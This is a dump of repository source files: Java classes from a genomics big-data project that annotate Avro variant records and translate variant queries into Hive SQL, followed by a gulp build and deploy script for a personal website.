under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.opencb.hpg.bigdata.core.avro; import org.apache.avro.file.DataFileStream; import org.apache.avro.file.DataFileWriter; import org.apache.avro.io.DatumReader; import org.apache.avro.io.DatumWriter; import org.apache.avro.specific.SpecificDatumReader; import org.apache.avro.specific.SpecificDatumWriter; import org.opencb.biodata.models.variant.avro.VariantAnnotation; import org.opencb.biodata.models.variant.avro.VariantAvro; import org.opencb.cellbase.client.config.ClientConfiguration; import org.opencb.cellbase.client.config.RestConfig; import org.opencb.cellbase.client.rest.CellBaseClient; import org.opencb.cellbase.client.rest.VariationClient; import org.opencb.commons.datastore.core.QueryOptions; import org.opencb.commons.datastore.core.QueryResponse; import org.opencb.commons.utils.FileUtils; import java.io.*; import java.nio.file.Path; import java.util.ArrayList; import java.util.Collections; import java.util.List; /** * Created by imedina on 09/08/16. */ public class VariantAvroAnnotator { private CellBaseClient cellBaseClient; public VariantAvroAnnotator() { ClientConfiguration clientConfiguration = new ClientConfiguration(); clientConfiguration.setVersion("v4"); clientConfiguration.setRest(new RestConfig(Collections .singletonList("http://bioinfodev.hpc.cam.ac.uk/cellbase-4.1.0-beta"), 30000)); cellBaseClient = new CellBaseClient("hsapiens", clientConfiguration); } public void annotate(Path avroPath, Path annotatedAvroPath) throws IOException { FileUtils.checkFile(avroPath); FileUtils.checkDirectory(annotatedAvroPath.getParent(), true); InputStream inputStream = new FileInputStream(avroPath.toFile()); DatumReader<VariantAvro> datumReader = new SpecificDatumReader<>(VariantAvro.SCHEMA$); DataFileStream<VariantAvro> dataFileStream = new DataFileStream<>(inputStream, datumReader); OutputStream outputStream = new FileOutputStream(annotatedAvroPath.toFile()); DatumWriter<VariantAvro> datumWriter = new SpecificDatumWriter<>(); DataFileWriter<VariantAvro> dataFileWriter = new DataFileWriter<>(datumWriter); dataFileWriter.create(VariantAvro.SCHEMA$, outputStream); // dataFileWriter.setCodec(CodecFactory.deflateCodec(CodecFactory.DEFAULT_DEFLATE_LEVEL)); VariationClient variationClient = cellBaseClient.getVariationClient(); List<String> variants = new ArrayList<>(2000); List<VariantAvro> records = new ArrayList<>(2000); VariantAvro record; int counter = 1; while (dataFileStream.hasNext()) { record = dataFileStream.next(); records.add(record); variants.add(record.getChromosome() + ":" + record.getStart() + ":" + record.getReference() + ":" + record.getAlternate()); if (counter++ % 2000 == 0) { System.out.println("Annotating 2000 variants batch..."); QueryResponse<VariantAnnotation> annotations = variationClient.getAnnotations(variants, new QueryOptions(QueryOptions.EXCLUDE, "expression")); for (int i = 0; i < annotations.getResponse().size(); i++) { records.get(i).setAnnotation(annotations.getResponse().get(i).first()); dataFileWriter.append(records.get(i)); } dataFileWriter.flush(); records.clear(); variants.clear(); } } // annotate remaining variants if (records.size() > 0) { QueryResponse<VariantAnnotation> annotations = variationClient.getAnnotations(variants, new QueryOptions(QueryOptions.EXCLUDE, "expression")); for (int i = 0; i < annotations.getResponse().size(); i++) { records.get(i).setAnnotation(annotations.getResponse().get(i).first()); dataFileWriter.append(records.get(i)); } dataFileWriter.flush(); } dataFileWriter.close(); inputStream.close(); dataFileStream.close(); } } <file_sep>/* * Copyright 2015 OpenCB * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.opencb.hpg.bigdata.app.rest.ws; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import io.swagger.annotations.ApiParam; import org.opencb.commons.datastore.core.Query; import org.opencb.hpg.bigdata.core.lib.VariantParseQuery; import javax.servlet.http.HttpServletRequest; import javax.ws.rs.GET; import javax.ws.rs.Path; import javax.ws.rs.Produces; import javax.ws.rs.QueryParam; import javax.ws.rs.core.Context; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import javax.ws.rs.core.UriInfo; import java.io.IOException; /** * Created by jacobo on 15/12/14. */ @Path("/{version}/variant") @Produces(MediaType.APPLICATION_JSON) @Api(value = "Cohorts", position = 9, description = "Methods for working with 'cohorts' endpoint") public class VariantWSServer { public VariantWSServer(@Context UriInfo uriInfo, @Context HttpServletRequest httpServletRequest) throws IOException { // super(uriInfo, httpServletRequest); } @GET @Path("/sql") @ApiOperation(value = "Create a cohort", position = 1, notes = "", response = String.class) public Response getSqlQuery(@ApiParam(value = "table", required = true) @QueryParam("table") String table, @ApiParam(value = "id") @QueryParam("id") String id, @ApiParam(value = "ancestralAllele") @QueryParam("ancestralAllele") String ancestralAllele, @ApiParam(value = "displayConsequenceType") @QueryParam("displayConsequenceType") String displayConsequenceType, @ApiParam(value = "xrefs") @QueryParam("xrefs") String xrefs, @ApiParam(value = "hgvs") @QueryParam("hgvs") String hgvs, @ApiParam(value = "consequenceTypes") @QueryParam("consequenceTypes") String consequenceTypes, @ApiParam(value = "consequenceTypes.sequenceOntologyTerms.accession") @QueryParam("consequenceTypes.sequenceOntologyTerms.accession") String consequenceSoAccession, @ApiParam(value = "consequenceTypes.sequenceOntologyTerms.name") @QueryParam("consequenceTypes.sequenceOntologyTerms.name") String consequenceSoName, @ApiParam(value = "populationFrequencies") @QueryParam("populationFrequencies") String populationFrequencies, @ApiParam(value = "conservation") @QueryParam("conservation") String conservation, @ApiParam(value = "variantTraitAssociation") @QueryParam("variantTraitAssociation") String variantTraitAssociation) { try { Query query = new Query(); query.putIfNotEmpty("id", id); query.putIfNotEmpty("ancestralAllele", ancestralAllele); query.putIfNotEmpty("displayConsequenceType", displayConsequenceType); query.putIfNotEmpty("xrefs", xrefs); query.putIfNotEmpty("hgvs", hgvs); query.putIfNotEmpty("annotation.consequenceTypes", consequenceTypes); query.putIfNotEmpty("annotation.populationFrequencies", populationFrequencies); query.putIfNotEmpty("annotation.consequenceTypes.sequenceOntologyTerms.accession", consequenceSoAccession); query.putIfNotEmpty("annotation.consequenceTypes.sequenceOntologyTerms.name", consequenceSoName); query.putIfNotEmpty("annotation.conservation", conservation); query.putIfNotEmpty("annotation.variantTraitAssociation", variantTraitAssociation); VariantParseQuery variantParseQuery = new VariantParseQuery(); String sql = variantParseQuery.parse(query, null, table); return Response.ok(sql).build(); } catch (Exception e) { return Response.ok(e.toString()).build(); } } } <file_sep>/* * Copyright 2015 OpenCB * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.opencb.hpg.bigdata.core.lib; import org.apache.commons.lang3.StringUtils; import org.opencb.commons.datastore.core.Query; import org.opencb.commons.datastore.core.QueryOptions; import java.util.*; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Created by imedina on 09/08/16. */ public class VariantParseQuery extends ParseQuery { private static final Pattern POPULATION_PATTERN = Pattern.compile("^([^=<>:]+.*):([^=<>:]+.*)(<=?|>=?|!=|!?=?~|==?)([^=<>:]+.*)$"); private static final Pattern CONSERVATION_PATTERN = Pattern.compile("^([^=<>]+.*)(<=?|>=?|!=|!?=?~|==?)([^=<>]+.*)$"); private static final String CONSERVATION_VIEW = "cons"; public VariantParseQuery() { super(); } public String parse(Query query, QueryOptions queryOptions, String viewName) { Set<String> keySet = query.keySet(); for (String key : keySet) { String[] fields = key.split("\\."); // First we check if there is any ... if (fields.length == 0) { return null; } String value = (String) query.get(key); switch (fields[0]) { case "id": case "chromosome": case "type": filters.add(processFilter(fields[0], value, true, false)); break; case "start": case "end": case "length": filters.add(processFilter(fields[0], value, false, false)); break; case "region": processRegionQuery(value, "chromosome", "start", "end"); break; case "names": filters.add(processFilter("hgvs", value, true, true)); break; case "studies": processStudyQuery(fields, value); break; case "annotation": processAnnotationQuery(fields, value); break; default: break; } } // Build the SQL string from the processed query using explodes and filters buildQueryString(viewName, queryOptions); return sqlQueryString.toString(); } private void processStudyQuery(String[] fields, Object value) { // sanity check, if there is any ... if (fields == null || fields.length == 0) { return; } String path = StringUtils.join(fields, ".", 1, fields.length - 1); String field = fields[fields.length - 1]; switch (path) { case "studyId": filters.add(processFilter("studies." + path, (String) value, true, false)); break; case "files": explodes.add("LATERAL VIEW explode(studies.files) act as file"); switch (field) { case "fileId": case "call": filters.add(processFilter("file." + field, (String) value, true, false)); break; default: // error!! break; } break; case "format": filters.add(processFilter("studies.format", (String) value, true, true)); break; case "samplesData": explodes.add("LATERAL VIEW explode(studies.samplesData) act as sd"); // investigate how to query GT break; default: break; } } private void processAnnotationQuery(String[] fields, String value) { // sanity check, if there is any ... if (fields == null || fields.length == 0) { return; } Matcher matcher; StringBuilder where; String field = fields[fields.length - 1]; String path = StringUtils.join(fields, ".", 1, fields.length - 1); if (StringUtils.isEmpty(path)) { path = field; } switch (path) { case "id": case "ancestralAllele": case "displayConsequenceType": filters.add(processFilter("annotation." + path, value, true, false)); break; case "xrefs": explodes.add("LATERAL VIEW explode(annotation.xrefs) act as xref"); filters.add(processFilter("xref." + field, value, true, false)); break; case "hgvs": // this is equivalent to case 'names' in parse function !! filters.add(processFilter("annotation.hgvs", value, true, true)); break; // consequenceTypes is an array and therefore we have to use explode function case "consequenceTypes": explodes.add("LATERAL VIEW explode(annotation.consequenceTypes) act as ct"); // we process most important fields inside consequenceTypes switch (field) { case "geneName": case "ensemblGeneId": case "ensemblTranscriptId": case "biotype": filters.add(processFilter("ct." + field, value, true, false)); break; case "transcriptAnnotationFlags": filters.add(processFilter("ct.transcriptAnnotationFlags", value, true, true)); break; default: // error!! break; } break; // sequenceOntologyTerms is also an array and therefore we have to use explode function case "consequenceTypes.sequenceOntologyTerms": // we add both explode (order is kept) to the set (no repetitions allowed) explodes.add("LATERAL VIEW explode(annotation.consequenceTypes) act as ct"); explodes.add("LATERAL VIEW explode(ct.sequenceOntologyTerms) ctso as so"); switch (field) { case "accession": case "name": filters.add(processFilter("so." + field, value, true, false)); break; default: // error!! break; } break; case "populationFrequencies": { explodes.add("LATERAL VIEW explode(annotation.populationFrequencies) apf as popfreq"); if (StringUtils.isEmpty(value)) { throw new IllegalArgumentException("value is null or empty for population frequencies"); } boolean or = value.contains(","); boolean and = value.contains(";"); if (or && and) { throw new IllegalArgumentException("Command and semi-colon cannot be mixed: " + value); } String logicalComparator = or ? " OR " : " AND "; String[] values = value.split("[,;]"); where = new StringBuilder(); if (values == null) { matcher = POPULATION_PATTERN.matcher((String) value); if (matcher.find()) { updatePopWhereString(field, "popfreq", matcher, where); } else { // error System.err.format("error: invalid expresion for population frequencies %s: abort!", value); } } else { matcher = POPULATION_PATTERN.matcher(values[0]); if (matcher.find()) { where.append("("); updatePopWhereString(field, "popfreq", matcher, where); for (int i = 1; i < values.length; i++) { matcher = POPULATION_PATTERN.matcher(values[i]); if (matcher.find()) { where.append(logicalComparator); updatePopWhereString(field, "popfreq", matcher, where); } else { // error System.err.format("Error: invalid expresion %s: abort!", values[i]); } } where.append(")"); } else { // error System.err.format("Error: invalid expresion %s: abort!", values[0]); } } filters.add(where.toString()); break; } case "conservation": { if (StringUtils.isEmpty(value)) { throw new IllegalArgumentException("value is null or empty for conservation"); } boolean or = value.contains(","); boolean and = value.contains(";"); if (or && and) { throw new IllegalArgumentException("Command and semi-colon cannot be mixed: " + value); } String logicalComparator = or ? " OR " : " AND "; String[] values = value.split("[,;]"); where = new StringBuilder(); if (values == null) { matcher = CONSERVATION_PATTERN.matcher(value); if (matcher.find()) { updateConsWhereString(matcher, where); } else { // error System.err.format("error: invalid expresion %s: abort!", value); } } else { matcher = CONSERVATION_PATTERN.matcher(values[0]); if (matcher.find()) { where.append("("); updateConsWhereString(matcher, where); for (int i = 1; i < values.length; i++) { matcher = CONSERVATION_PATTERN.matcher(values[i]); if (matcher.find()) { where.append(logicalComparator); updateConsWhereString(matcher, where); } else { // error System.err.format("Error: invalid expresion %s: abort!", values[i]); } } where.append(")"); } else { // error System.err.format("Error: invalid expresion %s: abort!", values[0]); } } filters.add(where.toString()); explodes.add("LATERAL VIEW explode(annotation.conservation) acons as " + CONSERVATION_VIEW); break; } case "variantTraitAssociation": switch (field) { case "clinvar": explodes.add("LATERAL VIEW explode(annotation.variantTraitAssociation.clinvar) avtac as clinvar"); filters.add(processFilter("clinvar.accession", value, true, false)); case "cosmic": explodes.add("LATERAL VIEW explode(annotation.variantTraitAssociation.cosmic) avtac as cosmic"); filters.add(processFilter("cosmic.mutationId", value, true, false)); break; default: break; } break; default: break; } } private void updatePopWhereString(String field, String viewName, Matcher matcher, StringBuilder where) { where.append("(").append(viewName).append(".study = '").append(matcher.group(1).trim()) .append("' AND ").append(viewName).append(".population = '").append(matcher.group(2).trim()) .append("' AND ").append(viewName).append(".").append(field).append(matcher.group(3).trim()) .append(matcher.group(4).trim()).append(")"); } private void updateConsWhereString(Matcher matcher, StringBuilder where) { where.append("(").append(CONSERVATION_VIEW).append(".source = '").append(matcher.group(1).trim()) .append("' AND ").append(CONSERVATION_VIEW).append(".score") .append(matcher.group(2).trim()).append(matcher.group(3).trim()).append(")"); } }
94bcdc4336830ae60fbeae6a9396b60e0f5dcdc9
[ "Java", "Maven POM" ]
9
Maven POM
mh11/hpg-bigdata
56d664170940cfdc618a5882c32495daaf86d4df
bae0801a2a4a16d874597ee9e916e64053d60197
refs/heads/master
<repo_name>gwigz/vcard<file_sep>/gulpfile.js var gulp = require('gulp-param')(require('gulp'), process.argv); package = require('./package.json'); // autism var use = require('gulp-load-plugins')({ pattern: [ 'browser-sync', 'gulp-*', 'gulp.*', 'main-bower-files', 'vinyl-buffer' ], rename: { 'browser-sync': 'browser', 'gulp-minify-html': 'htmlMinify', 'gulp-gh-pages': 'deploy', 'imagemin-pngquant': 'pngquant', 'main-bower-files': 'bower', 'merge-stream': 'merge', 'vinyl-buffer': 'buffer' }, replaceString: /^gulp(-|\.)/ }); // fml require('es6-promise').polyfill(); var header = [ '/*!\n' + ' * <%= package.repository.url %>\n' + ' */', '\n\n' ].join(''); // generates spritesheet of all images used gulp.task('sprite', function () { var data = gulp.src('src/img/**/*.png') .pipe(use.plumber()) .pipe(use.spritesmith({ imgName: 'sprite.png', retinaSrcFilter: ['**/*@2x.png'], retinaImgName: 'sprite@2x.png', cssName: 'sprites.css', cssTemplate: 'src/mst/sprite.mst', layout: 'left-right' })); // create image stream, with image optimization var img = data.img .pipe(use.buffer()) .pipe(use.imagemin({ progressive: true, svgouse: [{ removeViewBox: false }], use: [use.pngquant()] })) .pipe(gulp.dest('dist/img')); // create css stream, should trigger css task var css = data.css .pipe(gulp.dest('src/css')); return use.merge(img, css); }); // extends comment based templates and minifies HTML gulp.task('html', function () { return gulp.src('src/*.html') .pipe(use.plumber()) .pipe(use.htmlExtend({ annotations: true, verbose: false })) .pipe(use.htmlMinify({ comments: true, spare: true })) .pipe(gulp.dest('dist')) .pipe(use.browser.reload({ stream: true })); }); // removes unused CSS and combines all CSS files into one gulp.task('css', function () { return gulp.src('src/scss/style.scss') .pipe(use.plumber()) .pipe(use.sass({ errLogToConsole: true })) .pipe(use.autoprefixer('last 4 version')) .pipe(use.header(header, { package: package })) //.pipe(gulp.dest('dist/assets/css')) .pipe(use.cssnano()) .pipe(use.rename({ suffix: '.min' })) .pipe(gulp.dest('dist/assets/css')) .pipe(use.browser.reload({ stream: true })); }); // fetches dependancies for dist gulp.task('bower', function () { // why? var css = use.filter('**/_*.scss', { restore: true }), js = use.filter('**/*.js'); return gulp.src(use.bower()) .pipe(css) .pipe(gulp.dest(function (file) { // ugh, who needs standards? return 'src/scss/components/' + (file.base.split(/\/(css|sass|styles|stylesheet|stylesheets)\//)[2] || ''); })) .pipe(css.restore) .pipe(js) .pipe(use.uglify()) .pipe(gulp.dest('dist/assets/js/components')); }); // shits on my javascript gulp.task('js', function () { // inb4 this file doesn't even form to .jshintrc return gulp.src('src/js/application.js') .pipe(use.jshint('.jshintrc')) .pipe(use.jshint.reporter('default')) .pipe(use.header(header, { package: package })) .pipe(gulp.dest('dist/assets/js')) .pipe(use.uglify()) .pipe(use.header(header, { package: package })) .pipe(use.rename({ suffix: '.min' })) .pipe(gulp.dest('dist/assets/js')) .pipe(use.browser.reload({ stream: true })); }); // watches for changes, thank god this is a thing gulp.task('watch', function () { gulp.watch('src/**/*.html', ['html']); gulp.watch('src/js/*.js', ['js']); gulp.watch('src/scss/**/*.scss', ['css']); }); // starts browser server thing gulp.task('sync', function () { use.browser.init(null, { server: { baseDir: 'dist' } }); }); // for deploying to github pages gulp.task('deploy', function (token) { if (token && token.length) { return gulp.src("./dist/**/*") .pipe(use.deploy({ remoteUrl: 'https://gwigz:' + token + '@github.com/gwigz/gwigz.github.io.git', branch: 'master', force: true, message: 'Updated ' + (new Date().toISOString()) })); } else { use.util.log('Missing access token, supply using "--token" parameter'); } }); // default task, happens when glup w/o params gulp.task('default', ['bower', 'html', 'js', 'css', 'watch', 'sync']);
248c4615b78ef994a409e2d7615fab65f7a01837
[ "JavaScript" ]
1
JavaScript
gwigz/vcard
4e9f23f3bd3bd87c40f4fab6bf0c901915d4adec
e784e4128ec6f8a93d562987023e51fc9394d1ce
refs/heads/master
<file_sep>def separateNumbers(s): c=0 r=len(s)//2 if s[0]==0 or len(s)==1: print("NO") elif len(s)==2: if int(s[1])-int(s[0])==1: print("YES",s[0]) else: print("NO") else: for i in range(r+1): q = (s[0:i+1:1]) t = int((s[0:i+1:1])) l=len(q) while (l<=len(s)): if s[l:l+len(str(t+1)):1]==str(t+1): t=t+1 l=l+len(str(t)) else: break if l==len(s): c=-1 break if c==-1: print("YES",q) else: print("NO") if __name__ == '__main__': q = int(input()) for q_itr in range(q): s = input() separateNumbers(s)
00de9d27ef94b5ca0e77286dad7452508efa4c7f
[ "Python" ]
1
Python
surya-kodeti/Seperate_the_Numbers-
24859b986857530abf4422de9b3ce4e7dab04d3d
817d73bebf6691681212be0497f5b902374969b2
refs/heads/master
<repo_name>abheekb/RURAL-TRAVELLER<file_sep>/my app/app/src/main/java/com/example/souhardkataria/ruralt/UserAK.java package com.example.souhardkataria.ruralt; public class UserAK { String Name,Email,Gender,Date_of_Birth,Mob,Add,image; public UserAK() { } }
22a5a40d57a3b155c90058503c53c017c98e1e1a
[ "Java" ]
1
Java
abheekb/RURAL-TRAVELLER
43e0017078d0c83561a6181720f000fca85a9261
49209577b6cb432a375efd7d115f118762357921
refs/heads/master
<file_sep>spring.thymeleaf.prefix=classpath:/templates/ spring.thymeleaf.suffix=.html spring.mvc.static-path-pattern=/static/** spring.thymeleaf.cache=false spring.thymeleaf.mode=LEGACYHTML5 spring.devtools.restart.enabled=true spring.devtools.restart.additional-paths=src/main/java spring.devtools.restart.exclude=templates<file_sep>package cn.bgm.index.common; /** * 全局常量 */ public class Constant { public static String ERROR_CODE="404"; //访问失败代码 public static String SUCCESS_CODE="1"; //成功代码 public static String FAILURE_CODE="0"; //失败代码 public static String RETURN_MSG_1="SUCCESS"; //返回信息成功 public static String RETURN_MSG_2="FAILURE"; //返回信息失败 public static String ACCOUNT_NULL="1"; //账号为空 public static String PASSWORD_NULL="2"; //密码为空 public static String CHECKCODE_NULL="3"; //校验码为空 public static String CHECKCODE_ERROR="4"; //校验码错误 public static String CHECKCODE_TIMEOUT="5"; //校验码超时 } <file_sep># BgmSystem 仅用于学习交流 <file_sep>import cn.bgm.index.util.RedisUtil; import org.junit.Test; import org.springframework.beans.factory.annotation.Autowired; public class RedisTest { @Autowired RedisUtil redisUtil; public static void main(String[] args) { } @Test public void test1(){ redisUtil.set("name","gaozhulin"); String name = (String) redisUtil.get("name"); System.out.println("获取的参数是:"+name); } } <file_sep>package cn.bgm.index; import java.io.Serializable; /** * 登录账号 */ public class LoginUser implements Serializable { private String account; private String password; private String checkCode; public LoginUser(String account, String password, String checkCode) { this.account = account; this.password = <PASSWORD>; this.checkCode = checkCode; } public String getAccount() { return account; } public void setAccount(String account) { this.account = account; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getCheckCode() { return checkCode; } public void setCheckCode(String checkCode) { this.checkCode = checkCode; } } <file_sep><?xml version="1.0" encoding="UTF-8"?> <!-- $Id: pom.xml 642118 2008-03-28 08:04:16Z reinhard $ --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <packaging>war</packaging> <name>BgmSystemWeb</name> <groupId>com.bgm.cn</groupId> <artifactId>BgmSystemWeb</artifactId> <version>1.0-SNAPSHOT</version> <build> <plugins> <plugin> <groupId>org.mortbay.jetty</groupId> <artifactId>maven-jetty-plugin</artifactId> <version>6.1.7</version> <configuration> <connectors> <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector"> <port>8888</port> <maxIdleTime>30000</maxIdleTime> </connector> </connectors> <webAppSourceDirectory>${project.build.directory}/${pom.artifactId}-${pom.version}</webAppSourceDirectory> <contextPath>/</contextPath> </configuration> </plugin> </plugins> </build> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.5.RELEASE</version> <relativePath/> </parent> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <java.version>1.8</java.version> <!--以下两项需要如果不配置,解析themleaft 会有问题--> <!-- <thymeleaf.version>3.0.2.RELEASE</thymeleaf.version> <thymeleaf-layout-dialect.version>2.0.5</thymeleaf-layout-dialect.version>--> </properties> <dependencies> <!--SpringBoot web 组件 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> </dependency> <!--引入thymeleaf模版--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> <!--启用不严格检查html--> <dependency> <groupId>net.sourceforge.nekohtml</groupId> <artifactId>nekohtml</artifactId> <version>1.9.22</version> </dependency> <!--devtools热部署--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <optional>true</optional> <scope>true</scope> </dependency> <!--加入fastjson <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.4</version> </dependency>--> <!--解析json--> <dependency> <groupId>net.sf.json-lib</groupId> <artifactId>json-lib</artifactId> <version>2.4</version> <classifier>jdk15</classifier> </dependency> <dependency> <groupId>org.jetbrains</groupId> <artifactId>annotations</artifactId> <version>RELEASE</version> <scope>compile</scope> </dependency> </dependencies> </project>
8022332a9a6d9b122510d11c540921ea5c9a6c14
[ "Markdown", "Java", "Maven POM", "INI" ]
6
INI
tujixiaogao/BgmSystem
fbcbe5b382e1213489ffc1b66bff7fa9e13aa400
a662af16ea475d5549d646bcc4e8c5d5b93ebc03
refs/heads/master
<file_sep>import React from "react"; // import style from "./Search.css"; import "./Search.css"; const Search = () => { return <div className="text-style">Hello Search Component :)</div>; }; export default Search;
39594adb15ac7eb9db52b0174848eab28dfde07c
[ "JavaScript" ]
1
JavaScript
pinguo-hufangyan/webpack-boilerplate
821803c0e74dc9fe9dcc863a773529ac4619e8f6
af3fa45625aa0534b513742d12405c30503e2557
refs/heads/master
<repo_name>CarlosMurillo2897/OnlineShop<file_sep>/Shop.Application/ProductsAdmin/GetProduct.cs using Shop.Application.ViewModels; using Shop.Database; using System.Collections.Generic; using System.Linq; namespace Shop.Application.ProductsAdmin { public class GetProduct { private ApplicationDbContext _ctx; public GetProduct(ApplicationDbContext ctx) { _ctx = ctx; } public ProductViewModel Do(int id) => _ctx.Products.Where(p => p.Id == id).Select(x => new ProductViewModel { Id = x.Id, Name = x.Name, Description = x.Description, Value = x.Value.ToString(), // toString('N2') = 1100.50 => 1,100.50 }).FirstOrDefault(); } } <file_sep>/Shop.Application/Products/GetProduct.cs using Shop.Database; using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.EntityFrameworkCore; namespace Shop.Application.Products { public class GetProduct { private ApplicationDbContext _ctx; public GetProduct(ApplicationDbContext ctx) { _ctx = ctx; } public ProductViewModel Do(string name) => _ctx.Products .Include(x => x.Stock) .Where(x => x.Name == name) .Select(x => new ProductViewModel { Name = x.Name, Description = x.Description, Value = x.Value.ToString(), // 1100.50 => 1,100.50 Stock = x.Stock.Select(y => new StockViewModel { Id = y.Id, Description = y.Description, InStock = y.Qty > 0 }) }).FirstOrDefault(); public class ProductViewModel { public string Name { get; set; } public string Description { get; set; } public string Value { get; set; } public IEnumerable<StockViewModel> Stock{ get; set; } } public class StockViewModel { public int Id { get; set; } public string Description { get; set; } public bool InStock { get; set; } } } } <file_sep>/Shop.Application/ProductsAdmin/UpdateProduct.cs using Shop.Application.ViewModels; using Shop.Database; using Shop.Domain.Models; using System; using System.Linq; using System.Threading.Tasks; namespace Shop.Application.ProductsAdmin { public class UpdateProduct { private ApplicationDbContext _context; public UpdateProduct(ApplicationDbContext context) { _context = context; } public async Task<ProductViewModel> Do(ProductViewModel vm) { var product = _context.Products.FirstOrDefault(x => x.Id == vm.Id); product.Name = vm.Name; product.Description = vm.Description; product.Value = Convert.ToDecimal(vm.Value); await _context.SaveChangesAsync(); return vm; } } } <file_sep>/Shop.Application/ProductsAdmin/CreateProduct.cs using Shop.Application.ViewModels; using Shop.Database; using Shop.Domain.Models; using System; using System.Threading.Tasks; namespace Shop.Application.ProductsAdmin { public class CreateProduct { private ApplicationDbContext _context; public CreateProduct(ApplicationDbContext context) { _context = context; } public async Task<ProductViewModel> Do(ProductViewModel vm) { var product = new Product { Name = vm.Name, Description = vm.Description, Value = Convert.ToDecimal(vm.Value) }; _context.Products.Add(product); await _context.SaveChangesAsync(); vm.Id = product.Id; return vm; } } } <file_sep>/Readme.md An Online Shop based on .NET Core working as a Web API and Vue.JS as Front End consummer.<file_sep>/Shop.Application/Cart/GetCustomerInformation.cs using Microsoft.AspNetCore.Http; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Text; namespace Shop.Application.Cart { public class GetCustomerInformation { private ISession _session; public GetCustomerInformation(ISession session) { _session = session; } public class Request { public string FirstName { get; set; } public string LastName { get; set; } public string Email { get; set; } public string PhoneNumber { get; set; } public string Address1 { get; set; } public string Address2 { get; set; } public string City { get; set; } public string PostCode { get; set; } } public Request Do() { var stringObject = _session.GetString("customer-info"); return string.IsNullOrEmpty(stringObject) ? null : JsonConvert.DeserializeObject<Request>(stringObject); } } } <file_sep>/Shop.UI/Pages/Checkout/Payment.cshtml.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.RazorPages; using Shop.Application.Cart; namespace Shop.UI.Pages.Checkout { public class PaymentModel : PageModel { public IActionResult OnGet() { var information = new GetCustomerInformation(HttpContext.Session).Do(); if(information == null) { return RedirectToPage("/Checkout/CustomerInformation"); } return Page(); } } }
79a41c221268f521b79418143765085a150a15ff
[ "Markdown", "C#" ]
7
C#
CarlosMurillo2897/OnlineShop
ee77fbf657148736b6354385df082716e5d36a48
297f5e66a3249097654fd4470506d7a1e44e084a
refs/heads/master
<file_sep>package mx.uamcimat.a1.sistemaa; //import mx.uamcimat.a1.ejemplo.SourceFilter; // se importa la clase SourceFilter con el fin de no crearla de nueva cuenta /** * Como se modifico la Superclase FilterFramework, es necesario utilizar de nueva cuenta el archivo * SourceFilter * @author <NAME> * */ public class Plumber { /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub /**************************************************************************** * Aqui instanciamos los filtros ****************************************************************************/ SourceFilter filter1 = new SourceFilter(); FarenheitToCelsiusFilter tempFilter = new FarenheitToCelsiusFilter(); FeetToMetersFilter altFilter = new FeetToMetersFilter(); SinkFileFilter sinkFilter = new SinkFileFilter(); /**************************************************************************** * Aqui conectamos los filtros empezando con el filtro pozo (filter3) el cual * conectamos al filter2 que es el filtro del medio. Posteriormente conectamos filter2 * al filtro fuente (filter1). ****************************************************************************/ sinkFilter.Connect(altFilter); //conectar el puerto de entrada del Sink a la salida del Filtro de altitud altFilter.Connect(tempFilter); //Conectar el puerto de entrada del Filtro de Altura con la salida del Filtro de Temperatura tempFilter.Connect(filter1); //Conectar el puerto de entrada del Filtro de Temp a la salida del Source /**************************************************************************** * Aqui arrancamos los filtros. En realidad,... es un poco aburrido. ****************************************************************************/ filter1.start(); tempFilter.start(); altFilter.start(); sinkFilter.start(); } }
f1cc685b2b3edeca15792d5981a86bc13836d410
[ "Java" ]
1
Java
MarcoPradoL/Arquitecture
91e7cdc8a6ac08e2caf57c905461b5dc51978679
23c8358ef8dd061bddaf4906dbceab53661eb142
refs/heads/master
